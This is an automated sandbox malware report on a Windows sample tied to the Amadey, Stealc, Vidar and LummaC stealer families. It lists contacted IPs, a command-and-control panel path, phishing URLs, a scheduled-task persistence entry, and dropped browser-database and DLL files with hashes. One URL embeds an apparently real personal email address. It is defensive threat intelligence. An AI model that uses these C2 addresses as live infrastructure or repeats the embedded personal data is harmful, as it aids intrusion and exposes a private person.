204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.198.214.144	unknown	United States	26769	BANDCONUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.165.220.57	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
104.126.116.43	unknown	United States	20940	AKAMAI-ASN1EU	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.117.182.18	unknown	United States	20940	AKAMAI-ASN1EU	false
52.228.161.161	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.4
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561235
Start date and time:	2024-11-22 23:05:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@72/290@24/24
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 172.217.19.238, 74.125.205.84, 34.104.35.123, 93.184.221.240, 172.217.17.74, 142.250.181.10, 142.250.181.42, 172.217.19.202, 172.217.19.234, 172.217.17.42, 142.250.181.74, 142.250.181.138, 192.229.221.95, 13.107.42.16, 204.79.197.203, 204.79.197.239, 13.107.21.239, 13.107.6.158, 172.165.61.93, 23.32.238.138, 2.19.198.56, 2.16.158.81, 2.16.158.58, 2.16.158.169, 2.16.158.91, 2.16.158.171, 2.16.158.59, 2.16.158.96, 2.16.158.72, 2.16.158.88, 2.16.158.90, 2.16.158.170, 2.16.158.97, 2.16.158.82, 23.32.238.145, 23.32.238.161, 104.126.37.234, 2.19.198.249, 104.126.37.224, 104.126.37.195, 2.19.198.224, 13.74.129.1, 2.16.158.179, 204.79.197.237, 13.107.21.237, 13.87.96.169, 2.19.198.73, 23.32.238.96, 2.16.158.26, 2.16.158.50, 2.16.158.27, 2.16.158.192, 2.16.158.40, 2.16.158.187, 2.16.158.48, 2.16.158.33, 2.16.158.35, 142.250.65.163, 142.251.32.99, 142.251.40.163, 142.251.40.131, 142.250.81.227, 142.250.65.195, 172.217.165.131
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, prod-atm-wds-edge.trafficmanager.net, deff.nelreports.net.akamaized.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, mira.config.skype.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, a1858.dscd.ak
Execution Graph export aborted for target DocumentsHCAFIJDGHC.exe, PID 6804 because it is empty
Execution Graph export aborted for target skotes.exe, PID 2828 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8020 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
17:06:32	API Interceptor	141x Sleep call for process: file.exe modified
17:08:02	API Interceptor	33x Sleep call for process: skotes.exe modified
23:06:54	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, CredGrabber, Credential Flusher, Cryptbot, LummaC Stealer, Meduza Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	Tygvfe21rw.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	ivySCI-5.6.3.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	MayitaV16.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, XWorm	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	1732215862df90b858ebf82740ce134fb5917becbb3385f4dfc36cbe28d6e90709df01f065739.dat-decoded.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Unknown	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, XWorm	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
sb.scorecardresearch.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.106
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.106
	file.exe	Get hash	malicious	Amadey, XWorm	Browse	3.160.188.18
	file.exe	Get hash	malicious	Unknown	Browse	18.165.220.106
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	18.165.220.57
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	18.165.220.106
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.32.99.21

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://docs.google.com/drawings/d/15fSe2159qP21C2NrS3K5cgcsyPwNINvux6xIUCvvgBU/preview?pli=1AmyVazquez-brian.nester@lvhn.org	Get hash	malicious	HTMLPhisher	Browse	40.99.70.178
	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	https://fccdl.in/ads-manager/service/api/v1/ads/redirect?act=click&link=//schmidt-mediation-group.jimdosite.c	Get hash	malicious	HTMLPhisher	Browse	20.20.44.97
	https://heehra-incomeportal.com/	Get hash	malicious	Unknown	Browse	23.99.0.111
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.189.173.23
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	http://mike@mikestavlund.com	Get hash	malicious	Unknown	Browse	20.120.240.130
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://docs.google.com/drawings/d/15fSe2159qP21C2NrS3K5cgcsyPwNINvux6xIUCvvgBU/preview?pli=1AmyVazquez-brian.nester@lvhn.org	Get hash	malicious	HTMLPhisher	Browse	40.99.70.178
	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	https://fccdl.in/ads-manager/service/api/v1/ads/redirect?act=click&link=//schmidt-mediation-group.jimdosite.c	Get hash	malicious	HTMLPhisher	Browse	20.20.44.97
	https://heehra-incomeportal.com/	Get hash	malicious	Unknown	Browse	23.99.0.111
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.189.173.23
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	http://mike@mikestavlund.com	Get hash	malicious	Unknown	Browse	20.120.240.130
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://docs.google.com/drawings/d/15fSe2159qP21C2NrS3K5cgcsyPwNINvux6xIUCvvgBU/preview?pli=1AmyVazquez-brian.nester@lvhn.org	Get hash	malicious	HTMLPhisher	Browse	40.99.70.178
	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	https://fccdl.in/ads-manager/service/api/v1/ads/redirect?act=click&link=//schmidt-mediation-group.jimdosite.c	Get hash	malicious	HTMLPhisher	Browse	20.20.44.97
	https://heehra-incomeportal.com/	Get hash	malicious	Unknown	Browse	23.99.0.111
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.189.173.23
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	http://mike@mikestavlund.com	Get hash	malicious	Unknown	Browse	20.120.240.130
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://identitys.fraudguard.es/SSA_Updated_Statement	Get hash	malicious	ScreenConnect Tool	Browse	4.245.163.56 13.107.246.63 23.218.208.109 20.231.128.67
	http://www.buildermax.in/002/ww.htm	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 13.107.246.63 23.218.208.109 20.231.128.67
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 23.218.208.109 20.231.128.67
	2025 Business Travel Show Asia Pacific Innovation Faceoff Application Form.docx	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 23.218.208.109 20.231.128.67
	https://sendbot.me/seuemprestimogarantido	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 23.218.208.109 20.231.128.67
	8347392490280.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	4.245.163.56 13.107.246.63 23.218.208.109 20.231.128.67
	dontopenme.html	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 23.218.208.109 20.231.128.67
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 23.218.208.109 20.231.128.67
	https://docs.google.com/drawings/d/15fSe2159qP21C2NrS3K5cgcsyPwNINvux6xIUCvvgBU/preview?pli=1AmyVazquez-brian.nester@lvhn.org	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 13.107.246.63 23.218.208.109 20.231.128.67
	http://147.45.47.98/js/error.js	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 23.218.208.109 20.231.128.67

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BKFBAKFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAKEBFCF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651553538955773
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMKSAELyKOMq+8yC8F/YfU5m+OlTLVum6:Bq+n0JK9ELyKOMq+8y9/Ow5
MD5:	8BAC6AF42384BC60186B48A6C1B18562
SHA1:	3DEF39245339711C8482DD4099BFD2017D9FCC3E
SHA-256:	1AB0C16421D33CB70DEB37E3CE28564ACD3C7FE6D9B279B17460CADE61A275BB
SHA-512:	8E295CCCB9B4870D90DD078BFA99BB47B7582F888DFED61A0566525C05407F50CBEFB4C435070F57ED6F0DD38F254C3BACBAB2489F71D912C11C782CA5BA768B
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHJDHJKFIECAAKFIJJKJKFHJKE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBGIDHCAAKEBAKFIIIEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHIECBAFBFHIJKFIJDAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJJJKFIIIJJJECAAEHDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KKEHIEBKJKFIEBGDGDAAECGHDH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
